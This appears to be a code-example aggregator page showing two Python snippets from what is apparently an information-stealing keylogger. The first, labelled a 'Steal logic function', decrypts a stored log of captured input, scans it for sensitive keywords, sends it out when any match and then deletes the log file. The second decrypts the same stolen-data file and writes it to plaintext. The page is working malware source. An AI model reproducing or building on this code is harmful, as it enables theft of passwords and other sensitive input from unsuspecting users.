예제 #1
0
    def _results(self):
        """
        Steal logic function.
        INTEcoin - Holds the encrypted data which deletes after the function finishes copying the file.
        """
        send_flag = False  # File has one of the keywords flag
        keywords_contained = []  # Keywords found in the log
        chunk = ""
        decrypted_log = ""

        for byt in Encryption.bytes_from_file(
                "logs/INTEcoin.dat"
        ):  # Reads stolen data file as chunks and save them in a list
            if byt == "@":
                decrypted_log += Encryption.decrypt(chunk.encode())
                chunk = ""
                continue
            chunk += byt

        for word in KEYWORDS:  # Checks if any sensitive data was inputted
            if word in decrypted_log:
                send_flag = True
                keywords_contained.append(word)
        if send_flag:
            self._send(keywords_contained)  # Sends the encrypted data
        os.remove("logs/INTEcoin.dat"
                  )  # Deletes the file to avoid sending the same data again
예제 #2
0
from encryption import Encryption  # relative imports are weird in python.

chunk = ""
decrypted_log = ""
for byt in Encryption.bytes_from_file(
        "INTEcoin.dat"
):  # Reads stolen data file as chunks and save them in a list
    if byt == "@":
        decrypted_log += Encryption.decrypt(chunk.encode())
        chunk = ""
        continue
    chunk += byt
print(decrypted_log)

with open("plaintext.txt", "a") as file:
    file.write(decrypted_log)
    file.close()